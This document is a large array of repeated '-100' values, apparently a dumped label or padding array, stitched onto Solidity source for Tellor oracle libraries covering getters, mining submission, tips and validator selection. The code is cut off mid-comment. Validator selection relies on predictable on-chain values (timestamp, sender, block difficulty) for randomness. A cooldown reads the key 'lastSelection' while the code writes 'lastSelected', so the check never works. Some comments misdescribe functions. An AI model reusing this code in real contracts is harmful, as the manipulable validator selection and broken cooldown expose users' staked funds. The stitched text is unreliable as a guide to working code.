-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; //Functions for retrieving min and Max in 51 length array (requestQ) //Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol library Utilities { /** * @dev Returns the minimum value in an array. */ function getMax(uint256[51] memory data) internal pure returns (uint256 max, uint256 maxIndex) { max = data[1]; maxIndex; for (uint256 i = 1; i < data.length; i++) { if (data[i] > max) { max = data[i]; maxIndex = i; } } } /** * @dev Returns the minimum value in an array. */ function getMin(uint256[51] memory data) internal pure returns (uint256 min, uint256 minIndex) { minIndex = data.length - 1; min = data[minIndex]; for (uint256 i = data.length - 1; i > 0; i--) { if (data[i] < min) { min = data[i]; minIndex = i; } } } } /** * @title Tellor Getters Library * @dev This is the getter library for all variables in the Tellor Tributes system. TellorGetters references this * libary for the getters logic */ library TellorGettersLibrary { using SafeMath for uint256; /*Functions*/ /*Tellor Getters*/ /** * @dev This function gets the 5 miners currently selected for providing data * @return miners an array of the miner addresses */ function getCurrentMiners(TellorStorage.TellorStorageStruct storage self) internal view returns(address[] memory miners){ return self.selectedValidators; } /** * @dev This function tells you if a given challenge has been completed by a given miner * @param _challenge the challenge to search for * @param _miner address that you want to know if they solved the challenge * @return true if the _miner address provided solved the */ function didMine(TellorStorage.TellorStorageStruct storage self, bytes32 _challenge, address _miner) internal view returns (bool) { return self.minersByChallenge[_challenge][_miner]; } /** * @dev Checks if an address voted in a dispute * @param _disputeId to look up * @param _address of voting party to look up * @return bool of whether or not party voted */ function didVote(TellorStorage.TellorStorageStruct storage self, uint256 _disputeId, address _address) internal view returns (bool) { return self.disputesById[_disputeId].voted[_address]; } /** * @dev allows Tellor to read data from the addressVars mapping * @param _data is the keccak256("variable_name") of the variable that is being accessed. * These are examples of how the variables are saved within other functions: * addressVars[keccak256("_owner")] * addressVars[keccak256("tellorContract")] */ function getAddressVars(TellorStorage.TellorStorageStruct storage self, bytes32 _data) internal view returns (address) { return self.addressVars[_data]; } /** * @dev Gets all dispute variables * @param _disputeId to look up * @return bytes32 hash of dispute * @return bool executed where true if it has been voted on * @return bool disputeVotePassed * @return address of reportedMiner * @return address of reportingParty * @return address of proposedForkAddress * @return uint of requestId * @return uint of timestamp * @return uint of value * @return uint of minExecutionDate * @return uint of numberOfVotes * @return uint of blocknumber * @return uint of minerSlot * @return uint of quorum * @return uint of fee * @return int count of the current tally */ function getAllDisputeVars(TellorStorage.TellorStorageStruct storage self, uint256 _disputeId) internal view returns (bytes32, bool, bool, address, address, uint256[9] memory, int256) { TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; return ( disp.hash, disp.executed, disp.disputeVotePassed, disp.reportedMiner, disp.reportingParty, [ disp.disputeUintVars[keccak256("requestId")], disp.disputeUintVars[keccak256("timestamp")], disp.disputeUintVars[keccak256("value")], disp.disputeUintVars[keccak256("minExecutionDate")], disp.disputeUintVars[keccak256("numberOfVotes")], disp.disputeUintVars[keccak256("blockNumber")], disp.disputeUintVars[keccak256("minerSlot")], disp.disputeUintVars[keccak256("quorum")], disp.disputeUintVars[keccak256("fee")] ], disp.tally ); } /** * @dev Getter function for variables for the requestId being currently mined(currentRequestId) * @return current challenge, currentRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request */ function getCurrentVariables(TellorStorage.TellorStorageStruct storage self) internal view returns (bytes32, uint256, uint256) { return ( self.currentChallenge, self.uintVars[keccak256("currentRequestId")], self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("totalTip")] ); } /** * @dev Checks if a given hash of miner,requestId has been disputed * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); * @return uint disputeId */ function getDisputeIdsByDisputeHash(TellorStorage.TellorStorageStruct storage self, bytes32 _hash) internal view returns (uint256[] memory) { return self.disputeIdsByDisputeHash[_hash]; } /** * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId * @param _disputeId is the dispute id; * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the disputeUintVars under the Dispute struct * @return uint value for the bytes32 data submitted */ function getDisputeUintVars(TellorStorage.TellorStorageStruct storage self, uint256 _disputeId, bytes32 _data) internal view returns (uint256) { return self.disputesById[_disputeId].disputeUintVars[_data]; } /** * @dev Gets the a value for the latest timestamp available * @return value for timestamp of last proof of work submited * @return true if the is a timestamp for the lastNewValue */ function getLastNewValue(TellorStorage.TellorStorageStruct storage self) internal view returns (uint256, bool) { return ( retrieveData( self, self.requestIdByTimestamp[self.uintVars[keccak256("timeOfLastNewValue")]], self.uintVars[keccak256("timeOfLastNewValue")] ), true ); } /** * @dev Gets the a value for the latest timestamp available * @param _requestId being requested * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't */ function getLastNewValueById(TellorStorage.TellorStorageStruct storage self, uint256 _requestId) internal view returns (uint256, bool) { TellorStorage.Request storage _request = self.requestDetails[_requestId]; if (_request.requestTimestamps.length > 0) { return (retrieveData(self, _requestId, _request.requestTimestamps[_request.requestTimestamps.length - 1]), true); } else { return (0, false); } } /** * @dev Gets blocknumber for mined timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up blocknumber * @return uint of the blocknumber which the dispute was mined */ function getMinedBlockNum(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp) internal view returns (uint256) { return self.requestDetails[_requestId].minedBlockNum[_timestamp]; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return the 5 miners' addresses */ function getMinersByRequestIdAndTimestamp(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp) internal view returns (address[5] memory) { return self.requestDetails[_requestId].minersByValue[_timestamp]; } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(TellorStorage.TellorStorageStruct storage self, uint256 _requestId) internal view returns (uint256) { return self.requestDetails[_requestId].requestTimestamps.length; } /** * @dev Getter function for the specified requestQ index * @param _index to look up in the requestQ array * @return uint of reqeuestId */ function getRequestIdByRequestQIndex(TellorStorage.TellorStorageStruct storage self, uint256 _index) internal view returns (uint256) { require(_index <= 50, "RequestQ index is above 50"); return self.requestIdByRequestQIndex[_index]; } /** * @dev Getter function for requestId based on timestamp * @param _timestamp to check requestId * @return uint of reqeuestId */ function getRequestIdByTimestamp(TellorStorage.TellorStorageStruct storage self, uint256 _timestamp) internal view returns (uint256) { return self.requestIdByTimestamp[_timestamp]; } /** * @dev Getter function for the requestQ array * @return the requestQ arrray */ function getRequestQ(TellorStorage.TellorStorageStruct storage self) internal view returns (uint256[51] memory) { return self.requestQ; } /** * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct * for the requestId specified * @param _requestId to look up * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the apiUintVars under the requestDetails struct * @return uint value of the apiUintVars specified in _data for the requestId specified */ function getRequestUintVars(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, bytes32 _data) internal view returns (uint256) { return self.requestDetails[_requestId].apiUintVars[_data]; } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(TellorStorage.TellorStorageStruct storage self, uint256 _requestId) internal view returns (uint256, uint256) { TellorStorage.Request storage _request = self.requestDetails[_requestId]; return ( _request.apiUintVars[keccak256("requestQPosition")], _request.apiUintVars[keccak256("totalTip")] ); } /** * @dev This function allows users to retireve all information about a staker * @param _staker address of staker inquiring about * @return uint current state of staker * @return uint startDate of staking * @return uint stakePosition for the staker */ function getStakerInfo(TellorStorage.TellorStorageStruct storage self, address _staker) internal view returns (uint256, uint256,uint256) { return (self.stakerDetails[_staker].currentStatus, self.stakerDetails[_staker].startDate, self.stakerDetails[_staker].stakePosition.length); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestampt to look up miners for * @return address[5] array of 5 addresses ofminers that mined the requestId */ function getSubmissionsByTimestamp(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp) internal view returns (uint256[5] memory) { return self.requestDetails[_requestId].valuesByTimestamp[_timestamp]; } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(TellorStorage.TellorStorageStruct storage self, uint256 _requestID, uint256 _index) internal view returns (uint256) { return self.requestDetails[_requestID].requestTimestamps[_index]; } /** * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the uintVars under the TellorStorageStruct struct * This is an example of how data is saved into the mapping within other functions: * self.uintVars[keccak256("stakerCount")] * @return uint of specified variable */ function getUintVar(TellorStorage.TellorStorageStruct storage self, bytes32 _data) internal view returns (uint256) { return self.uintVars[_data]; } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips */ function getVariablesOnDeck(TellorStorage.TellorStorageStruct storage self) internal view returns (uint256, uint256) { uint256 newRequestId = getTopRequestID(self); return ( newRequestId, self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")] ); } /** * @dev Getter function for the request with highest payout. This function is used within the getVariablesOnDeck function * @return uint _requestId of request with highest payout at the time the function is called */ function getTopRequestID(TellorStorage.TellorStorageStruct storage self) internal view returns (uint256 _requestId) { uint256 _max; uint256 _index; (_max, _index) = Utilities.getMax(self.requestQ); _requestId = self.requestIdByRequestQIndex[_index]; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp) internal view returns (bool) { return self.requestDetails[_requestId].inDispute[_timestamp]; } /** * @dev Retreive value from oracle based on requestId/timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return uint value for requestId/timestamp submitted */ function retrieveData(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp) internal view returns (uint256) { return self.requestDetails[_requestId].finalValues[_timestamp]; } } /** * @title Tellor Oracle System Library * @dev Contains the functions' logic for the Tellor contract where miners can submit the proof of work * along with the value and smart contracts can requestData and tip miners. */ library TellorLibrary { using SafeMath for uint256; //emits when a tip is added to a requestId event TipAdded(address indexed _sender, uint256 indexed _requestId, uint256 _tip, uint256 _totalTips); //emits when a new challenge is created (either on mined block or when a new request is pushed forward on waiting system) event NewChallenge( bytes32 indexed _currentChallenge, uint256 indexed _currentRequestId, uint256 _totalTips ); //emits when a the payout of another request is higher after adding to the payoutPool or submitting a request event NewRequestOnDeck(uint256 indexed _requestId, uint256 _onDeckTotalTips); //Emits upon a successful Mine, indicates the blocktime at point of the mine and the value mined event NewValue(uint256 indexed _requestId, uint256 _time, uint256 _value, uint256 _totalTips, bytes32 _currentChallenge); //Emits upon each mine (5 total) and shows the miner, and value submitted event SolutionSubmitted(address indexed _miner, uint256 indexed _requestId, uint256 _value, bytes32 _currentChallenge); //emits when a new validator is selected event NewValidatorsSelected(address _validator); /*Functions*/ /** * @dev Add tip to Request value from oracle * @param _requestId being requested to be mined * @param _tip amount the requester is willing to pay to be get on queue. Miners * mine the onDeckQueryHash, or the api with the highest payout pool */ function addTip(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) public { require(_requestId > 0, "RequestId is 0"); TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); require(tellorToken.allowance(msg.sender,address(this)) >= _tip,"Allowance must be set"); //If the tip > 0 transfer the tip to this contract require (_tip >= 5, "Tip must be greater than 5");//must be greater than 5 loyas so each miner gets at least 1 loya tellorToken.transferFrom(msg.sender, address(this), _tip); //Update the information for the request that should be mined next based on the tip submitted updateOnDeck(self, _requestId, _tip); emit TipAdded(msg.sender, _requestId, _tip, self.requestDetails[_requestId].apiUintVars[keccak256("totalTip")]); } /** * @dev This function is called by submitMiningSolution and adjusts the difficulty, sorts and stores the first * 5 values received, pays the miners, the dev share and assigns a new challenge * @param _requestId for the current request being mined */ function newBlock(TellorStorage.TellorStorageStruct storage self, uint256 _requestId) internal { TellorStorage.Request storage _request = self.requestDetails[_requestId]; TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); uint256 _timeOfLastNewValue = now - (now % 1 minutes); self.uintVars[keccak256("timeOfLastNewValue")] = _timeOfLastNewValue; //The sorting algorithm that sorts the values of the first five values that come in TellorStorage.Details[5] memory a = self.currentMiners; uint256 i; for (i = 1; i < 5; i++) { uint256 temp = a[i].value; address temp2 = a[i].miner; uint256 j = i; while (j > 0 && temp < a[j - 1].value) { a[j].value = a[j - 1].value; a[j].miner = a[j - 1].miner; j--; } if (j < i) { a[j].value = temp; a[j].miner = temp2; } } //Pay the miners for (i = 0; i < 5; i++) { tellorToken.transfer(a[i].miner, self.uintVars[keccak256("currentTotalTips")] / 5); } emit NewValue( _requestId, _timeOfLastNewValue, a[2].value, self.uintVars[keccak256("currentTotalTips")] - (self.uintVars[keccak256("currentTotalTips")] % 5), self.currentChallenge ); //Save the official(finalValue), timestamp of it, 5 miners and their submitted values for it, and its block number _request.finalValues[_timeOfLastNewValue] = a[2].value; _request.requestTimestamps.push(_timeOfLastNewValue); //these are miners by timestamp _request.minersByValue[_timeOfLastNewValue] = [a[0].miner, a[1].miner, a[2].miner, a[3].miner, a[4].miner]; _request.valuesByTimestamp[_timeOfLastNewValue] = [a[0].value, a[1].value, a[2].value, a[3].value, a[4].value]; _request.minedBlockNum[_timeOfLastNewValue] = block.number; //map the timeOfLastValue to the requestId that was just mined self.requestIdByTimestamp[_timeOfLastNewValue] = _requestId; //add timeOfLastValue to the newValueTimestamps array self.newValueTimestamps.push(_timeOfLastNewValue); //re-start the count for the slot progress to zero before the new request mining starts self.uintVars[keccak256("slotProgress")] = 0; uint256 _topId = TellorGettersLibrary.getTopRequestID(self); self.uintVars[keccak256("currentRequestId")] = _topId; //if the currentRequestId is not zero(currentRequestId exists/something is being mined) select the requestId with the hightest payout //else wait for a new tip to mine if (_topId > 0) { selectNewValidators(self,true); self.currentChallenge = keccak256(abi.encodePacked(randomnumber(self,_timeOfLastNewValue,a[2].value), self.currentChallenge, blockhash(block.number - 1))); // Save hash for next proof //Update the current request to be mined to the requestID with the highest payout self.uintVars[keccak256("currentTotalTips")] = self.requestDetails[_topId].apiUintVars[keccak256("totalTip")]; //Remove the currentRequestId/onDeckRequestId from the requestQ array containing the rest of the 50 requests self.requestQ[self.requestDetails[_topId].apiUintVars[keccak256("requestQPosition")]] = 0; //unmap the currentRequestId/onDeckRequestId from the requestIdByRequestQIndex self.requestIdByRequestQIndex[self.requestDetails[_topId].apiUintVars[keccak256("requestQPosition")]] = 0; //Remove the requestQposition for the currentRequestId/onDeckRequestId since it will be mined next self.requestDetails[_topId].apiUintVars[keccak256("requestQPosition")] = 0; //Reset the requestId TotalTip to 0 for the currentRequestId/onDeckRequestId since it will be mined next //and the tip is going to the current timestamp miners. The tip for the API needs to be reset to zero self.requestDetails[_topId].apiUintVars[keccak256("totalTip")] = 0; //gets the max tip in the in the requestQ[51] array and its index within the array?? uint256 newRequestId = TellorGettersLibrary.getTopRequestID(self); //Issue the the next requestID emit NewChallenge( self.currentChallenge, _topId, self.uintVars[keccak256("currentTotalTips")] ); emit NewRequestOnDeck( newRequestId, self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")] ); } else { self.uintVars[keccak256("currentTotalTips")] = 0; self.currentChallenge = ""; self.selectedValidators.length = 0; } } /** * @dev Proof of work is called by the miner when they submit the solution (proof of work and value) * @param _requestId the apiId being mined * @param _value of api query */ function submitMiningSolution(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _value) public { //requre miner is staked require(self.stakerDetails[msg.sender].currentStatus == 1, "Miner status is not staker"); //Check the miner is submitting the pow for the current request Id require(_requestId == self.uintVars[keccak256("currentRequestId")], "RequestId is wrong"); //Check the validator submitting data is one of the selected validators require(self.validValidator[msg.sender] == true, "Not a selected validator"); //Make sure the miner does not submit a value more than once require(self.minersByChallenge[self.currentChallenge][msg.sender] == false, "Miner already submitted the value"); //Save the miner and value received self.currentMiners[self.uintVars[keccak256("slotProgress")]].value = _value; self.currentMiners[self.uintVars[keccak256("slotProgress")]].miner = msg.sender; //Add to the count how many values have been submitted, since only 5 are taken per request self.uintVars[keccak256("slotProgress")]++; //Update the miner status to true once they submit a value so they don't submit more than once self.minersByChallenge[self.currentChallenge][msg.sender] = true; emit SolutionSubmitted(msg.sender, _requestId, _value, self.currentChallenge); //If 5 values have been received, adjust the difficulty otherwise sort the values until 5 are received //Once a validator submits data set their status back to false self.validValidator[msg.sender] = false; if (self.uintVars[keccak256("slotProgress")] == 5) { newBlock(self, _requestId); } } /** * @dev This function updates APIonQ and the requestQ when requestData or addTip are ran * @param _requestId being requested * @param _tip is the tip to add */ function updateOnDeck(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) internal { TellorStorage.Request storage _request = self.requestDetails[_requestId]; uint256 onDeckRequestId = TellorGettersLibrary.getTopRequestID(self); _request.apiUintVars[keccak256("totalTip")] = _request.apiUintVars[keccak256("totalTip")].add(_tip); //Set _payout for the submitted request uint256 _payout = _request.apiUintVars[keccak256("totalTip")]; //If there is no current request being mined //then set the currentRequestId to the requestid of the requestData or addtip requestId submitted, // the totalTips to the payout/tip submitted, and issue a new mining challenge if (self.uintVars[keccak256("currentRequestId")] == 0) { self.uintVars[keccak256("currentRequestId")] = _requestId; self.uintVars[keccak256("currentTotalTips")] = _payout; self.currentChallenge = keccak256(abi.encodePacked(_payout, self.currentChallenge, blockhash(block.number - 1))); // Save hash for next proof selectNewValidators(self,true); emit NewChallenge( self.currentChallenge, self.uintVars[keccak256("currentRequestId")], self.uintVars[keccak256("currentTotalTips")] ); } else if (_requestId == self.uintVars[keccak256("currentRequestId")]) { self.uintVars[keccak256("currentTotalTips")] = self.uintVars[keccak256("currentTotalTips")] + _payout; }else { //If there is no OnDeckRequestId //then replace/add the requestId to be the OnDeckRequestId, queryHash and OnDeckTotalTips(current highest payout, aside from what //is being currently mined) if (_payout > self.requestDetails[onDeckRequestId].apiUintVars[keccak256("totalTip")]) { //let everyone know the next on queue has been replaced emit NewRequestOnDeck(_requestId, _payout); } //if the request is not part of the requestQ[51] array //then add to the requestQ[51] only if the _payout/tip is greater than the minimum(tip) in the requestQ[51] array if (_request.apiUintVars[keccak256("requestQPosition")] == 0) { uint256 _min; uint256 _index; (_min, _index) = Utilities.getMin(self.requestQ); //we have to zero out the oldOne //if the _payout is greater than the current minimum payout in the requestQ[51] or if the minimum is zero //then add it to the requestQ array aand map its index information to the requestId and the apiUintvars if (_payout > _min) { self.requestQ[_index] = _payout; self.requestDetails[self.requestIdByRequestQIndex[_index]].apiUintVars[keccak256("requestQPosition")] = 0; self.requestIdByRequestQIndex[_index] = _requestId; _request.apiUintVars[keccak256("requestQPosition")] = _index; } // else if the requestid is part of the requestQ[51] then update the tip for it } else{ self.requestQ[_request.apiUintVars[keccak256("requestQPosition")]] = _payout; } } } /** * @dev Reselects validators if any of the first five fail to submit data */ function reselectNewValidators(TellorStorage.TellorStorageStruct storage self) public{ require( self.uintVars[keccak256("lastSelection")] < now - 30, "has not been long enough reselect"); selectNewValidators(self,false);// ??? Does false mean to select new validators? } /** * @dev Generates a random number to select validators */ function randomnumber(TellorStorage.TellorStorageStruct storage self, uint _max, uint _nonce) internal view returns (uint){ return uint(keccak256(abi.encodePacked(_nonce,now,self.uintVars[keccak256("totalTip")],msg.sender,block.difficulty,self.stakers.length))) % _max; } /** * @dev Selects validators * @param _reset true to delete existing validators and re-selected */ function selectNewValidators(TellorStorage.TellorStorageStruct storage self, bool _reset) public{ if(_reset){ self.selectedValidators.length = 0; } uint j=0; uint i=0; uint r; address potentialValidator; while(j < 5 && self.stakers.length > self.selectedValidators.length){ i++; r = randomnumber(self,self.stakers.length,i); potentialValidator = self.stakers[r]; if(!self.validValidator[potentialValidator]){ self.selectedValidators.push(potentialValidator); emit NewValidatorsSelected(potentialValidator); self.validValidator[potentialValidator] = true;//used to check if they are a selectedvalidator (better than looping through array) j++; } } self.uintVars[keccak256("lastSelected")] = now; } } //Slightly modified SafeMath library - includes a min and max function, removes useless div function library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a + b; assert(c >= a); } else { c = a + b; assert(c <= a); } } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } function max(int256 a, int256 b) internal pure returns (uint256) { return a > b ? uint256(a) : uint256(b); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a - b; assert(c <= a); } else { c = a - b; assert(c >= a); } } } /** * @title Tellor Oracle Storage Library * @dev Contains all the variables/structs used by Tellor */ library TellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint256 value; address miner; } struct Dispute { bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int256 tally; //current tally of votes for - against measure bool executed; //is the dispute settled bool disputeVotePassed; //did the vote pass? address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes mapping(bytes32 => uint256) disputeUintVars; //Each of the variables below is saved in the mapping disputeUintVars for each disputeID //e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")] //These are the variables saved in this mapping: // uint keccak256("requestId");//apiID of disputed value // uint keccak256("timestamp");//timestamp of distputed value // uint keccak256("value"); //the value being disputed // uint keccak256("minExecutionDate");//7 days from when dispute initialized // uint keccak256("numberOfVotes");//the number of parties who have voted on the measure // uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from // uint keccak256("minerSlot"); //index in dispute array // uint keccak256("quorum"); //quorum for dispute vote NEW // uint keccak256("fee"); //fee paid corresponding to dispute mapping(address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute uint256 startDate; //stake start date uint256 withdrawDate; uint256 withdrawAmount; uint[] stakePosition; mapping(uint => uint) stakePositionArrayIndex; } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock; // fromBlock is the block number that the value was generated from uint128 value; // value is the amount of tokens at a specific block number } struct Request { uint256[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint256) apiUintVars; //Each of the variables below is saved in the mapping apiUintVars for each api request //e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")] //These are the variables saved in this mapping: // uint keccak256("requestQPosition"); //index in requestQ // uint keccak256("totalTip");//bonus portion of payout mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number //This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint256 => uint256) finalValues; mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized. mapping(uint256 => address[5]) minersByValue; mapping(uint256 => uint256[5]) valuesByTimestamp; } struct TellorStorageStruct { address[] selectedValidators; address[] stakers; mapping(address => uint) missedCalls;//if your missed calls gets up to 3, you lose a TRB. A successful retrieval resets its mapping(address => bool) validValidator; //ensures only selected validators can sumbmit data bytes32 currentChallenge; //current challenge to be solved uint256[51] requestQ; //uint50 array of the top50 requests by payment amount uint256[] newValueTimestamps; //array of all timestamps requested Details[5] currentMiners; //This struct is for organizing the five mined values to find the median mapping(bytes32 => address) addressVars; //Address fields in the Tellor contract are saved the addressVars mapping //e.g. addressVars[keccak256("tellorContract")] = address //These are the variables saved in this mapping: // address keccak256("tellorContract");//Tellor address // address keccak256("_deity");//Tellor Owner that can do things at will mapping(bytes32 => uint256) uintVars; //uint fields in the Tellor contract are saved the uintVars mapping //e.g. uintVars[keccak256("decimals")] = uint //These are the variables saved in this mapping: // keccak256("decimals"); //18 decimal standard ERC20 // keccak256("disputeFee");//cost to dispute a mined value // keccak256("disputeCount");//totalHistoricalDisputes // keccak256("total_supply"); //total_supply of the token in circulation // keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?) // 